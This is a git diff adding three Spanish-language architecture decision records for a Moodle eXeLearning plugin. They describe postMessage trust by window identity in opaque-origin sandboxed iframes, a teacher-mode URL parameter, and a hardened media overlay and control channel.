index 0000000..be3b5b1
--- /dev/null
+++ b/research/decisiones/adr/DEC-80-05-xapi-bridge-seguro-identidad-ventana.md
@@ -0,0 +1,158 @@
+---
+id: DEC-80-05
+title: "xAPI sobre el bridge seguro: el listener confía por identidad de ventana en el iframe opaco (extiende DEC-85-01 al modo seguro de DEC-80-01)"
+status: Accepted
+date: 2026-06-19
+tracking_issue: 80
+legacy_id: DEC-0069
+deciders:
+  - erseco
+  - claude-code
+sources:
+  - REPO-005
+  - FTE-011
+related:
+  adrs: [DEC-85-01, DEC-80-01, DEC-80-02, DEC-80-04, DEC-0-18, DEC-0-16, DEC-0-07]
+ai_assistance:
+  tool: claude-code
+  model: claude-opus-4-8
+---
+
+# DEC-80-05: xAPI sobre el bridge seguro: el listener confía por identidad de ventana en el iframe opaco (extiende DEC-85-01 al modo seguro de DEC-80-01)
+
+## Contexto
+
+`DEC-85-01` implementó la ingesta xAPI (**xAPI-primary**) asumiendo que el iframe del paquete se
+sirve **same-origin** por `pluginfile.php`: el listener `js/xapi_listener.js` confía un statement
+sólo si `event.origin === origen del host` (RIE-013, su cabecera lo dice literalmente).
+
+`DEC-80-01`/`DEC-80-02` introdujeron el **modo seguro** (por defecto): el paquete corre en un iframe
+de **origen opaco** (sandbox sin `allow-same-origin`, servido por `tokenpluginfile`). En un origen
+opaco, el `event.origin` de los postMessage del paquete es la **cadena `"null"`**, que nunca
+coincide con el origen del host.
+
+Al fusionar `main` (DEC-85-01) en la rama del modo seguro —**ambos por defecto**— la configuración
+por defecto pasa a ser **secure + xAPI-primary**. Con el listener tal cual, en modo seguro
+**descarta todos los statements** y la nota xAPI **se pierde en silencio**. En el merge inicial se
+gateó xAPI a legacy como medida conservadora; este ADR registra la **solución definitiva**.
+**Extiende** (no supersede) `DEC-85-01` al modo seguro de `DEC-80-01`.
+
+## Problema
+
+¿Cómo recibir y calificar los statements xAPI cuando el paquete corre en un iframe de **origen
+opaco**, sin reintroducir el acoplamiento same-origin que el modo seguro elimina (`RIE-001`) y sin
+**doble conteo** con el canal SCORM del bridge?
+
+## Opciones consideradas
+
+1. **Gatear xAPI a legacy (status quo del merge).** En secure calificar siempre por el bridge SCORM.
+   - ✔ Simple; no rompe nada.  ✘ xAPI-primary (recomendado, por defecto) **no surte efecto en la
+     configuración por defecto**; el canal moderno queda inactivo justo donde más se usa.
+2. **Relajar el listener a aceptar `event.origin === "null"`.**
+   - ✘ **Inseguro**: cualquier iframe opaco de la página (p.ej. un embed promovido sandboxeado,
+     `DEC-80-03`) tiene origen `"null"`; `"null"` **no identifica** al emisor. Descartada.
+3. **Validar por identidad de ventana (elegida).** El listener confía un statement cuando
+   `event.source === contentWindow del iframe del paquete`, **exactamente como** el relay del bridge
+   SCORM (`DEC-80-01`). El navegador fija `event.source` a la ventana emisora y el script de la página
+   **no puede falsificarlo**; el origen opaco **no la anonimiza** (sólo afecta a `event.origin` y al
+   acceso DOM same-origin). En modo legacy se conserva la validación por origen.
+
+## Evidencia
+
+- **Contrato del emisor** (`REPO-005` @ `e3b1bd13`, `FTE-011`): el emisor hace
+  `root.parent.postMessage({type:'exe-xapi-statement', statement}, parentOrigin||'*')` **síncrono**
+  desde la ventana top-level del iframe — **sin Worker, sin MessageChannel, sin frame hijo dinámico**.
+  En nuestro empotrado (iframe **hijo directo** de `view.php`) el padre recibe el mensaje con
+  `event.source === iframe.contentWindow`. El `parentOrigin` lo fija `config_injector` al origen del
+  host; el `targetOrigin` constriñe al **receptor**, no a `event.origin`.
+- **Origen opaco** (`DEC-80-02`): el sandbox sin `allow-same-origin` serializa el origen a la cadena
+  `"null"`, no al host; sólo afecta a `event.origin` y al DOM same-origin, **no** a `event.source`
+  (comportamiento del navegador, del que el relay SCORM ya depende —`DEC-80-04`).
+- **Precedente en el repo**: `js/scorm_bridge_relay.js` ancla en `e.source !== fr.contentWindow`
+  («an opaque origin has no useful event.origin»).
+- **Confianza cero del servidor** (`DEC-0-18`/`DEC-85-01`): `xapi_track.php` exige `sesskey` +
+  capability y atribuye la nota a `$USER` ignorando el actor; el paquete opaco **no tiene sesskey** y
+  no puede llamar al endpoint directamente. Identidad de ventana = **sin nonce**, pero el modelo de
+  confianza es **idéntico a legacy** (que confía en todo script same-origin) porque el contenido se
+  **autocalifica** y el servidor **acota**.
+
+## Decisión
+
+1. **Listener con doble puerta de confianza.** `js/xapi_listener.js` admite dos modos: **origen**
+   (legacy, `allowedOrigin`) e **identidad de ventana** (secure, `iframeid` →
+   `document.getElementById(iframeid).contentWindow`, resuelto **perezosamente por mensaje** porque
+   el listener se inyecta **antes** de existir el elemento iframe). En identidad de ventana se
+   **ignora** `event.origin` (el `"null"` opaco) y el ancla es `event.source`.
+2. **xAPI-primary en ambos modos.** `view.php`:
+   `$emitsxapi = exelearning_xapi_primary_enabled() && exelearning_package_emits_xapi(...)` (se quita
+   el gateo `!$securemode`). En secure inyecta el listener con `iframeid`; en legacy con
+   `allowedOrigin`. Comparte `$sessiontoken` como `registration` (`DEC-0-07`).
+3. **SCORM inerte por el padre, no por el shim.** Para evitar doble conteo, en secure el **relay**
+   (`js/scorm_bridge_relay.js`, parámetro `disableTracking`) **valida pero no reenvía** el POST SCORM
+   cuando hay xAPI-primary. La decisión vive en el **padre** (código fresco inyectado en cada carga),
+   **no** en el shim **horneado** en el paquete: así es robusta aunque el shim sea de una versión
+   previa al flag. El shim **no puede alcanzar `track.php`** por sí mismo (origen opaco, sin sesskey),
+   así que suprimir el reenvío en el relay es **autoritativo**. En legacy, el `disableTracking` del
+   propio `scorm_tracker.js` (`DEC-85-01`) cumple el mismo rol.
+4. **Sin degradación de seguridad real.** El statement es **autorreportado** en ambos modos; el
+   servidor valida y acota (`DEC-0-18`). Identidad de ventana iguala a legacy en confianza, pero
+   conserva el **aislamiento de sesión** del modo seguro: el paquete sigue sin ver el `sesskey`, y el
+   padre (que lo tiene) reenvía **sólo** statements del propio iframe.
+
+### Componentes entregados
+
+`js/xapi_listener.js` (modo identidad de ventana: `iframeid`/`expectedSource`, resolución perezosa,
+función `isTrusted`; conserva el modo origen), `js/scorm_bridge_relay.js` (parámetro `disableTracking`
+que suprime el POST tras validar), `view.php` (`$emitsxapi` sin gateo; relay con
+`disableTracking => $emitsxapi`; listener con `iframeid` en secure o `allowedOrigin` en legacy, vía el
+helper `$emitinlinemodule`). Tests Vitest: del listener por identidad de ventana (acepta sólo el
+`contentWindow` del iframe aunque el origen sea `"null"`; rechaza cualquier otra ventana aunque alegue
+el origen del host; resolución perezosa) y del relay inerte (un `track` válido no hace POST, pero
+`ready` sigue haciendo handshake y el beacon de `pagehide` no envía nada).
+
+## Consecuencias
+
+- **Positivas:** xAPI-primary funciona en la **config por defecto** (secure); un **único canal** por
+  paquete en ambos modos (cero doble conteo); reusa el patrón de **identidad de ventana** ya
+  verificado del bridge SCORM; **no toca el shim horneado** (robusto ante paquetes ya extraídos).
+- **Negativas / coste:** identidad de ventana **no lleva nonce** (el emisor es código upstream que no
+  lo conoce), pero es equivalente en confianza a legacy; el `event.origin` `"null"` se **ignora**
+  deliberadamente en secure.
+- **Dispara:** revierte el gateo a legacy del merge inicial; actualiza `docs/tracking-architecture.md`
+  y `docs/xapi-integration-plan.md`.
+
+## Riesgos
+
+- **RIE (bajo).** Un script malicioso **dentro** del paquete podría postear un `exe-xapi-statement`
+  falso (no hay nonce). **Mitigado**: es exactamente lo que ya puede hacer en legacy (mismo origen) y
+  en SCORM (el `set()` de pipwerks); el servidor **acota** (lista blanca de verbos, `objectid`
+  registrado, `scaled∈[0,1]`, idempotencia por `statement.id`, nota a `$USER`). El modo seguro sigue
+  impidiendo lo único que importa: **alcanzar la sesión/sesskey del padre** (`RIE-001`).
+- **RIE (muy bajo).** Un embed promovido (`DEC-80-03`) que intentara suplantar: su `event.source` es
+  la ventana del **player**, no la del iframe del paquete → **rechazado** por identidad de ventana.
+- **Limitación heredada de `DEC-85-01` (no introducida aquí): el kill switch surte efecto en la
+  PRÓXIMA carga, no en sesiones en curso.** `$emitsxapi` (y por tanto `disableTracking`) se hornea en
+  el HTML al cargar la página, mientras `xapi_track.php` consulta `exelearning_xapi_primary_enabled()`
+  en cada request. Si un admin **apaga** xapiprimaryenabled con una página ya abierta, esa página
+  suprime SCORM (estado horneado) pero el servidor ignora el xAPI (estado nuevo) → esa vista **no
+  califica hasta recargar** (al recargar, `$emitsxapi=false` → SCORM califica normal). Es **simétrico
+  a `DEC-85-01`** (mismo patrón en legacy) y este ADR sólo lo extiende a secure de forma **consistente**;
+  no se corrige aquí porque las soluciones (consultar el ajuste por AJAX, o que `xapi_track.php` honre
+  un token de página) o bien debilitan el kill switch o bien requieren estado de servidor por página
+  —una decisión de producto separada sobre la semántica del kill switch de `DEC-85-01`—. Mitigación
+  operativa: cambiar el ajuste fuera de horario de actividad. Documentado en `docs/xapi-qa-checklist.md`.
+
+## Validación
+
+`phpcs --standard=moodle` 0/0 (view.php y plugin completo); Vitest **114/114** (nuevos: identidad de
+ventana del listener + relay `disableTracking`); `php -l view.php` OK. **Pendiente (fase viva):** e2e
+en Moodle real capturando un `postMessage` real del emisor desde el iframe opaco → columna del
+gradebook (Behat/Playwright entrando al frame; el modo seguro **no** se prueba en el Playground
+PHP-WASM, que no sirve iframes opacos —`DEC-80-02`).
+
+## Seguimiento
+
+- Mantiene **fuera de alcance** (eco de `DEC-85-01`): handler `core_xapi` + eventos, cmi5, LRS externo,
+  y el `'*'` como destino de confianza.
+- Si un futuro emisor upstream adoptara un canal con **nonce/handshake**, el modo identidad de ventana
+  podría endurecerse a nonce, como el bridge SCORM.
diff --git a/research/decisiones/adr/DEC-80-06-teacher-mode-parametro-core-exe-teacher.md b/research/decisiones/adr/DEC-80-06-teacher-mode-parametro-core-exe-teacher.md
new file mode 100644
index 0000000..403dff3
--- /dev/null
+++ b/research/decisiones/adr/DEC-80-06-teacher-mode-parametro-core-exe-teacher.md
@@ -0,0 +1,99 @@
+---
+id: DEC-80-06
+title: "Teacher-mode por parámetro core `?exe-teacher` (sin inyección CSS): compatible con origen opaco; supersede el hider de DEC-36-01"
+status: Accepted
+date: 2026-06-28
+tracking_issue: 80
+legacy_id: DEC-0070
+deciders:
+  - erseco
+  - claude-code
+sources:
+  - REPO-004
+related:
+  adrs: [DEC-36-01, DEC-80-01, DEC-34-02, DEC-80-07]
+ai_assistance:
+  tool: claude-code
+  model: claude-opus-4-8
+---
+
+# DEC-80-06: Teacher-mode por parámetro core `?exe-teacher` (sin inyección CSS): compatible con origen opaco; supersede el hider de DEC-36-01
+
+## Contexto
+
+El export de eXeLearning pinta un **conmutador de "modo profesor"** (`#teacher-mode-toggler-wrapper`)
+que revela las capas de contenido reservadas al profesorado (soluciones, retroalimentación). En la
+vista embebida de Moodle ese conmutador debía gobernarse desde el plugin.
+
+La solución original ([[DEC-36-01]] #2, `exelearning_require_teacher_mode_hider()`) **inyectaba un
+`<style>` en el `contentDocument` del iframe** para ocultar/mostrar el conmutador. Eso exigía acceso
+**same-origin** al documento del paquete (servido por `pluginfile.php`). Con el modo seguro
+([[DEC-80-01]] + [[DEC-80-02]]) el contenido pasa a **origen opaco** (`sandbox` sin `allow-same-origin`):
+el padre **no puede** leer ni escribir el `contentDocument` (lanza `SecurityError`), de modo que la
+inyección CSS del hider es **estructuralmente incompatible con el modo opaco**. Mientras el teacher-mode
+dependiera de inyección, el modo opaco no podía cubrir este caso → era un bloqueante para continuar el
+trabajo del origen opaco.
+
+## Decisión
+
+**Adoptar el parámetro nativo `?exe-teacher=1` que expone eXeLearning core** (upstream
+`exelearning#1772`): el export oculta el contenido de profesor por defecto y ofrece un selector para
+mostrarlo cuando la URL lleva `exe-teacher=1`. El plugin **deja de mutar el paquete** y se limita a
+**añadir el parámetro al `src` del iframe** (`view.php:274-285`):
+
+```php
+// El parámetro viaja en el src del iframe; el paquete lee su propio location.search
+// incluso bajo origen opaco, así que NO hace falta inyección CSS del host.
+if (!empty($exelearning->teachermodevisible)) {
+    $iframeurl->param('exe-teacher', '1');
+}
+```
+
+Claves de la decisión:
+
+1. **Compatible con origen opaco.** El parámetro viaja **en el `src`** y el paquete lee su **propia**
+   `location.search` desde dentro del iframe — no requiere que el host toque el `contentDocument`.
+   Funciona igual en **legacy (same-origin) y en secure (opaco)** (`view.php:283`, `view.php:623`).
+2. **El plugin no inyecta nada.** Se elimina `exelearning_require_teacher_mode_hider()` (antes
+   `lib.php:880`, encolada en `view.php:586`). El paquete servido queda **prístino**, reduciendo el
+   acoplamiento a internals de eXe que el informe técnico marcaba como deuda nº1 ([[DEC-36-01]]).
+3. **Gobernado por `teachermodevisible`** (ajuste por actividad): cuando está activo, el selector se
+   ofrece a **todo visualizador** (sin role gate; paridad con la semántica de `mod_exeweb`).
+4. **Es el "arreglo upstream" que [[DEC-36-01]] anticipaba** para el hider (#2): la opción "flag de
+   export modo embebido" se materializó como un parámetro de URL en eXe core, mejor aún que un flag de
+   build porque funciona sobre **cualquier** `.elpx` que lo soporte sin reempaquetar.
+
+Implementado y mergeado (PR 86, commit `4c33e8a`: "reveal via core `?exe-teacher` URL param, drop CSS
+injection"). Este ADR registra la decisión ya integrada.
+
+## Consecuencias
+
+- **Supersede la parte de teacher-mode (#2) de [[DEC-36-01]]**: la inyección CSS del hider es ya
+  **histórica**. La parte de **SCORM-loader (#1)** de DEC-36-01 no se ve afectada por esta entrada
+  (su salida definitiva sigue siendo xAPI / [[DEC-34-02]] según corresponda).
+- **Desbloquea el modo opaco**: el teacher-mode deja de ser un caso que sólo funcionaba en same-origin.
+  Con esto resuelto, se puede continuar el trabajo de medios externos en opaco ([[DEC-80-07]]).
+- **Menos deuda/acoplamiento**: el plugin ya no reescribe ni manipula el documento del paquete para el
+  teacher-mode; un cambio en cómo eXe pinta el conmutador ya no rompe al plugin.
+- **Dependencia de versión de eXe**: los `.elpx` exportados con versiones **anteriores** a
+  `exelearning#1772` no honran el parámetro; en ellos el conmutador se comporta como en el export base
+  (sin ocultar). Es una **degradación grácil** (no rompe la vista), no un fallo. No se conserva el hider
+  para esos paquetes (decisión: no reintroducir inyección incompatible con opaco).
+
+## Validación
+
+- **Código**: `view.php:274-285` añade `exe-teacher=1` al `src` sólo si `teachermodevisible`; el
+  comentario in-situ documenta que funciona bajo origen opaco porque el paquete lee su `location.search`.
+  `grep` confirma que `exelearning_require_teacher_mode_hider`/`require_teacher_mode` **ya no existen**
+  en el árbol (eliminadas en PR 86).
+- **Ajuste**: `teachermodevisible` persiste en `lib.php` (`add`/`update`, defaults a 0).
+- **Seguimiento**: la verificación en navegador del selector en **secure** (que el paquete muestre las
+  capas de profesor con el parámetro y las oculte sin él, sin tocar el `contentDocument`) se ancla en la
+  campaña de evidencia del modo seguro; enlazar el JSON de evidencia cuando se ejecute.
+
+## Seguimiento
+
+- Si en el futuro se exige una versión mínima de eXe ([[DEC-13-08]]), documentar aquí el umbral a partir
+  del cual `exe-teacher` está garantizado.
+- Paridad con `wp-exelearning` / `omeka-s-exelearning`: si esos embebedores aún ocultan el conmutador por
+  CSS, migrarlos al mismo parámetro (mismo motivo: compatibilidad con opaco).
diff --git a/research/decisiones/adr/DEC-80-07-estrategia-unificada-media-externo-opaco.md b/research/decisiones/adr/DEC-80-07-estrategia-unificada-media-externo-opaco.md
new file mode 100644
index 0000000..cd6159a
--- /dev/null
+++ b/research/decisiones/adr/DEC-80-07-estrategia-unificada-media-externo-opaco.md
@@ -0,0 +1,201 @@
+---
+id: DEC-80-07
+title: "Estrategia unificada de medios externos en origen opaco: overlay inline + canal id-only + control del vídeo interactivo por MessagePort (sin nonce-como-auth)"
+status: Accepted
+date: 2026-06-28
+tracking_issue: 80
+legacy_id: DEC-0071
+deciders:
+  - erseco
+  - claude-code
+sources:
+  - REPO-005
+  - REPO-010
+  - REPO-011
+related:
+  adrs: [DEC-80-01, DEC-80-02, DEC-80-03, DEC-80-06]
+ai_assistance:
+  tool: claude-code
+  model: claude-opus-4-8
+---
+
+# DEC-80-07: Estrategia unificada de medios externos en origen opaco: overlay inline + canal id-only + control del vídeo interactivo por MessagePort (sin nonce-como-auth)
+
+## Contexto
+
+Con el teacher-mode ya resuelto sin inyección ([[DEC-80-06]]), se reanuda el trabajo de **medios
+externos en origen opaco**. [[DEC-80-03]] dejó el vídeo YouTube/Vimeo y el PDF **funcionando** en modo
+seguro mediante *promote-to-parent* con **overlay inline**, pero con una limitación documentada (sus
+líneas 187-210): el **iDevice de vídeo interactivo** con fuente **remota** no funciona en opaco, y el
+prototipo de puente de control se **revirtió por frágil**. La comparativa [[AN-015]] dejó como
+`[PENDIENTE]` decidir la integración complementaria con el bridge de eXeLearning para recuperar el
+*timing* de preguntas.
+
+Antes de decidir conviene separar **dos problemas que se confunden con frecuencia** (la síntesis
+automática los mezcló):
+
+- **Problema A — propagación del sandbox (el del modo opaco).** El `sandbox` sin `allow-same-origin`
+  del iframe de contenido **se propaga** al iframe anidado del player → YouTube/Vimeo pierden su origen
+  (`youtube.com`/`vimeo.com`), no acceden a su storage y quedan **en blanco**. Lo arregla **únicamente**
+  promover el player a un contexto no-opaco (overlay/modal en el padre) o `allow-same-origin` (prohibido
+  en el iframe de contenido). **`referrerpolicy` NO lo arregla** (W3C Referrer Policy: "if document's
+  origin is an opaque origin, return no referrer"). Es lo que verificó empíricamente [[DEC-80-03]].
+- **Problema B — Error 153 / referrer.** Independiente del sandbox: ocurre **incluso sin** sandbox,
+  cuando el host envía `Referrer-Policy: no-referrer`/`same-origin` y el `<iframe>` del player **no**
+  lleva `referrerpolicy`. YouTube responde `Error 153 (embedder.identity.missing.referrer)`. Lo arregla
+  el **atributo `referrerpolicy` por-iframe**, que **anula** la cabecera de la página (MDN: la
+  precedencia es element-level). Caso real (red Medusa, reportado por Humberto ATE): la infraestructura
+  fijaba `Referrer-Policy: no-referrer` y **Jetpack eliminaba el atributo** `referrerpolicy` del embed
+  (Gutenberg lo ponía a `strict-origin-when-cross-origin`); desactivar esa función de Jetpack lo
+  resolvía. Lección para los embebedores: no dejar que un sanitizador/plugin elimine `referrerpolicy`.
+
+**mod_exelearning ya resuelve ambos**: A con el overlay promote-to-parent y B con
+`referrerpolicy=strict-origin-when-cross-origin` en el player promovido (`DEC-80-03:69-70`). Por tanto
+**el vídeo simple ya se ve en opaco** (verificado en vivo en [[DEC-80-03]]). Lo que queda abierto es (i)
+**endurecer el trust model** del relay de mod y (ii) **recuperar el vídeo interactivo** sin abandonar la
+UX de overlay inline elegida por erseco.
+
+## Decisión
+
+**Overlay inline endurecido + arreglo del vídeo interactivo en el iDevice.** Se conserva la UX y la
+frontera de seguridad de [[DEC-80-03]] (el player lo monta y sandboxea el **host**, no el productor) y se
+incorpora la disciplina de canal del bridge de eXeLearning **sin** cambiar a modal.
+
+1. **Mantener el overlay inline** (`js/exe_embed_relay.js`) como frontera canónica: el player se ve en
+   su sitio (geometría sincronizada), indistinguible de un embed normal. **No** se adopta el modal/
+   lightbox del bridge de eXe (descartado por erseco por la UX).
+
+2. **Endurecer el trust model** del relay alineándolo al patrón del bridge de eXeLearning, hoy más
+   fuerte que el de mod (que sólo usa identidad de ventana + `targetOrigin '*'`):
+   - **nonce por vista** acuñado por el padre en el handshake y exigido en cada mensaje posterior;
+   - **MessageChannel con capability** (`MessagePort` transferido) para el tráfico tras el handshake, de
+     modo que un sub-frame hostil anidado **no tenga referencia al puerto** y no pueda inyectar comandos;
+   - **estrechar el canal**: cruzar sólo `{provider, videoId}` (no la URL del autor) para los proveedores
+     reconocidos y **reconstruir** la URL canónica en el padre desde plantilla fija (elimina la clase
+     *URL-laundering*); **mantener la guarda D1** para el camino genérico OPEN, donde sí se promueve por
+     URL. Reutilizar el módulo de política compartido al estilo de `exe_media_policy.js`.
+   - Factorizar un **relay del padre reutilizable estilo `exe-media-host.js`**, en la medida de lo
+     posible, **pero con renderer de overlay** (no modal), para reducir la triplicación mod/wp/omeka que
+     hoy vigila `tools/check-embed-sync.mjs`.
+
+3. **Arreglar el vídeo interactivo modificando el iDevice de eXeLearning** (autorizado por erseco; es el
+   "arreglo correcto upstream" que [[DEC-80-03]]:207-210 ya señalaba que debía vivir en el iDevice):
+   - El iDevice **detecta origen opaco** (`window.origin === 'null'`) y, en ese caso, **enruta su control
+     de reproducción** (play/pause/seek/getCurrentTime/getDuration + eventos `timeupdate`/`ended`/`ready`,
+     más `hide`/`show` para las preguntas cronometradas) por el **canal del bridge endurecido**, en lugar
+     de instanciar directamente `new YT.Player`.
+   - **Clave que evita la fragilidad del prototipo revertido:** con el **overlay** el player real sigue la
+     geometría del `#player` del iDevice, así que **la layout del iDevice (portada/`Inicio`, `float:left`
+     de `#player` al activar, posición de cada slide) permanece en el hijo** y **no** se reconstruye en el
+     padre. El padre sólo ejecuta los comandos de control sobre el player que ya está superpuesto en su
+     sitio. Esto supera la limitación de [[DEC-80-03]] (el prototipo se revirtió porque intentaba
+     reconstruir la layout en el padre).
+   - **Degradación grácil:** sin bridge cooperante (o paquete antiguo), el iDevice degrada a embed simple
+     (lo promociona el shim, sin interactividad) o muestra aviso — nunca un frame en blanco.
+   - El canal de control va **autenticado por el mismo nonce/MessagePort** del punto 2 (no abre una vía
+     de confianza nueva).
+
+4. **Higiene de referrer (Problema B), ya presente, confirmada como invariante:** todo player promovido
+   lleva `referrerpolicy=strict-origin-when-cross-origin` (PDF: `no-referrer`). El iframe de **contenido**
+   conserva su `no-referrer`. Evaluar `referrerpolicy=origin` a secas si también resuelve el Error 153
+   (fuga aún menor). Documentar para los embebedores host: fijar la cabecera de respuesta
+   `Referrer-Policy: strict-origin-when-cross-origin` y **no** permitir que un plugin/sanitizador
+   (p. ej. Jetpack en WordPress) elimine el atributo.
+
+5. **Vimeo — caveat operativo de despliegue:** la **privacidad por dominio** de Vimeo valida el **host
+   del Referer**. Con promote-to-parent el player corre en el **padre (origen real del LMS)** y, con
+   `referrerpolicy=strict-origin-when-cross-origin`, Vimeo recibe el **origen del LMS** → la privacidad
+   por dominio funciona **si** el dominio del LMS está en la lista blanca de Vimeo. Los vídeos públicos no
+   dependen de ello. Documentarlo (no es un cambio de código).
+
+### Condiciones de seguridad (invariantes a preservar)
+
+Recogidas de [[DEC-80-03]] (§2026-06-14b) y de la verificación adversaria de este diseño:
+
+- El iframe de **contenido** sigue **sin `allow-same-origin`** (origen opaco; invariante de RIE-001).
+- El **player promovido** es cross-origin y va `sandbox="allow-scripts allow-same-origin allow-popups
+  allow-forms allow-presentation"` **sin** `allow-top-navigation` ni `allow-modals`. El `allow-same-origin`
+  aquí es seguro porque el `src` es del **proveedor** (no del LMS) → el SOP lo aísla del host; **no** es
+  el `allow-same-origin` prohibido del iframe de contenido.
+- **Guarda D1** (elimina el player si aterriza same-origin al LMS) y **D2** (los players se excluyen de la
+  autenticación por identidad de ventana, no pueden forjar `sync`) se mantienen.
+- **Default `open` vs `strict`** (`mod_exelearning/embedmode`): se mantiene `open` por defecto, con el
+  razonamiento ya registrado en [[DEC-80-03]] §2026-06-14b (el player es cross-origin + sandboxeado → el
+  SOP lo aísla con independencia del host; la lista blanca sólo mitiga phishing/tracking, que el
+  contenido sandboxeado ya puede hacer por otras vías). El **clickjacking del overlay** es un **riesgo
+  residual aceptado** (overlay controlado por el padre, clampado a la caja de contenido, player
+  cross-origin). **Mejora de guía:** documentar para administración cuándo conviene `strict` (cursos con
+  autores no confiables) y dejar el endurecimiento del trust model (punto 2) como cierre de la objeción
+  adversaria sobre la asimetría de validación.
+
+## Actualización (2026-06-28b): corrección tras revisión adversaria del diseño + decisiones de erseco
+
+La revisión adversaria del diseño de implementación (workflow, veredicto `sound:false`) corrige dos
+puntos del apartado **Decisión** y erseco confirma el rumbo:
+
+**1. El nonce NO es un autenticador real aquí — se retira como "endurecimiento".** El iframe es **origen
+opaco con código de autor NO confiable**, y el relay le **entrega el nonce** en el handshake; por tanto
+ese código no confiable lo conoce y puede incluirlo en cualquier mensaje. El autenticador real ya es
+**`event.source === iframe.contentWindow`** (infalsificable por SOP) en los mensajes de ventana, y la
+**posesión del `MessagePort`** transferido en el canal de control. El bridge actual de mod ([[DEC-80-03]]:
+event.source + validación de URL + D1/D2 + player cross-origin sandboxeado) **ya era sólido**; el punto 2
+sobrevaloraba el nonce. **Decisión (erseco): sin nonce-como-auth.** El endurecimiento genuino que queda:
+- (a) **canal id-only** `{provider, objectId}` para proveedores reconocidos → el padre reconstruye la URL
+  canónica desde plantilla fija y **revalida** la invariante estructural (https, cross-origin, no-LMS…);
+  reduce la superficie de *URL-laundering*. Se **mantiene D1** para el camino genérico OPEN por URL.
+- (b) **`MessagePort` como capability** = el canal del control de medios de la opción 2 (un sub-frame
+  anidado no tiene el puerto). No autentica frente al código de autor del propio documento (que sí lo
+  tiene), pero es el canal limpio para el control bidireccional.
+
+**2. `hide`/`show` se ELIMINA del canal de control (era clickjacking).** Si el iDevice pudiera ocultar el
+overlay, dejaría ver la UI del LMS detrás. **No hace falta:** la pregunta cronometrada la revela el
+**propio CSS del iDevice en el hijo** (`.active #player{float:left}` encoge/mueve el player y muestra
+`#slide` al lado); el overlay **solo sigue la geometría del `#player`** (ya reportada por mutación/resize),
+así que la pregunta aparece en el hueco liberado sin que el padre oculte nada. El canal de control queda
+en **`play`/`pause`/`seek`/`getCurrentTime`/`getDuration`** + eventos **`timeupdate`/`ready`/`ended`/`error`**
+(con `requestId` para respuestas async). Sin `hide`/`show`.
+
+**3. Control del player promovido por raw `postMessage` (`enablejsapi=1`), NO por SDK externo.** Para
+pausar en el cue y leer `currentTime` de un iframe cross-origin de YouTube/Vimeo, el relay del padre crea
+el player con `enablejsapi=1` (+ `origin`) y lo controla **posteando `{event:'command',func:…}`** al
+iframe y **parseando** sus eventos (`onReady`, `infoDelivery` con `currentTime`/`duration`,
+`onStateChange`). **Decisión (erseco): NO se carga la YouTube IFrame API ni el Vimeo Player SDK en la
+página de Moodle** (evita ejecutar script externo en la página de confianza del LMS y ampliar la CSP
+`script-src`). El relay traduce los comandos del iDevice (que llegan por el `MessagePort`) a estos
+`postMessage` al player, y reenvía los eventos del player al iDevice por el puerto.
+
+Resultado: la **opción 1** se reduce a su parte con valor real (**id-only** + mantener event.source/D1/D2;
+**sin** refactor a nonce), y la **opción 2** es el grueso (canal de control por `MessagePort` + control del
+player por raw postMessage + cambio en el iDevice). La revisión adversaria del **código** (no del diseño)
+se hará al cerrar la implementación.
+
+## Consecuencias
+
+- **Implementación en curso (2026-06-28b)** con tests unitarios (TDD/Vitest), tras la corrección del
+  diseño: en mod, **id-only** + el **canal de control por `MessagePort`** (sin nonce, sin hide/show) +
+  control del player por raw `postMessage`; cambios en el iDevice de vídeo interactivo de eXeLearning;
+  paridad en `wp-exelearning`/`omeka-s-exelearning` como seguimiento.
+- **Recupera el vídeo interactivo remoto en secure** sin renunciar al overlay inline, cerrando la
+  limitación de [[DEC-80-03]] y el `[PENDIENTE]` #1 de [[AN-015]].
+- **Reduce la triplicación** mod/wp/omeka al compartir el módulo de política + el relay reutilizable;
+  `tools/check-embed-sync.mjs` sigue como anti-drift mientras no haya infra compartida.
+- **No reabre** los vectores cerrados por el modo opaco: el endurecimiento sólo añade defensa
+  (nonce/capability); las invariantes de sandbox no cambian.
+
+## Seguimiento (implementación; fuera de alcance de esta entrega)
+
+- **mod_exelearning:** evolucionar `js/exe_embed_relay.js` + `js/exe_embed_shim.js` al handshake
+  endurecido: **canal id-only** + **canal de control por `MessagePort`** (sin nonce-como-auth, sin
+  hide/show); control del player por raw `postMessage` (`enablejsapi=1`); Vitest del nuevo contrato;
+  `tools/check-embed-sync.mjs` a 0 drift; e2e Playwright en sandbox opaco real con
+  `research/fixtures/elpx/remote-embeds.elpx` (control shim on/off + interactivo que pausa y dispara la
+  pregunta en el segundo configurado).
+- **eXeLearning (upstream):** modificar el iDevice `interactive-video` (y `quick-questions-video`,
+  YouTube-only) para detectar origen opaco y conducir el control por el bridge; degradación grácil.
+- **wp-exelearning:** hoy tiene el **espejo viejo** (`exe-embed-shim.js` + `exe-embed-relay.js` +
+  `exelearning-media-modal.js`); "hacer lo mismo" = adoptar el contrato endurecido + el arreglo de vídeo
+  interactivo cuando aterricen en mod (mantener paridad). Añadir la nota operativa Jetpack/Referrer-Policy
+  del Problema B en su documentación.
+- **Lenguaje/ajustes:** si la implementación añade strings o ajustes, respetar el namespace `exelearning`
+  (no `mod_`), prefijo `~` para traducción automática pendiente ([[DEC-11-01]]), orden alfabético y paridad
+  de idiomas.
diff --git a/research/decisiones/mapa-migracion-ids.md b/research/decisiones/mapa-migracion-ids.md
index 5f1406d..49f3e9e 100644
--- a/research/decisiones/mapa-migracion-ids.md
+++ b/research/decisiones/mapa-migracion-ids.md
@@ -77,6 +77,13 @@ importaría la numeración de otro repositorio y acabaría colisionando con el P
 | `DEC-0056` | `DEC-74-01` | [#74](https://github.com/exelearning/moodle-mod_exelearning/issues/74) (PR) | [`adr/DEC-74-01-tests-js-tracker-scorm-vitest.md`](./adr/DEC-74-01-tests-js-tracker-scorm-vitest.md) |
 | `DEC-0057` | `DEC-77-01` | [#77](https://github.com/exelearning/moodle-mod_exelearning/issues/77) (PR) | [`adr/DEC-77-01-extraccion-no-destructiva.md`](./adr/DEC-77-01-extraccion-no-destructiva.md) |
 | `DEC-0058` | `DEC-78-01` | [#78](https://github.com/exelearning/moodle-mod_exelearning/issues/78) (PR) | [`adr/DEC-78-01-fijar-editor-tag-en-release.md`](./adr/DEC-78-01-fijar-editor-tag-en-release.md) |
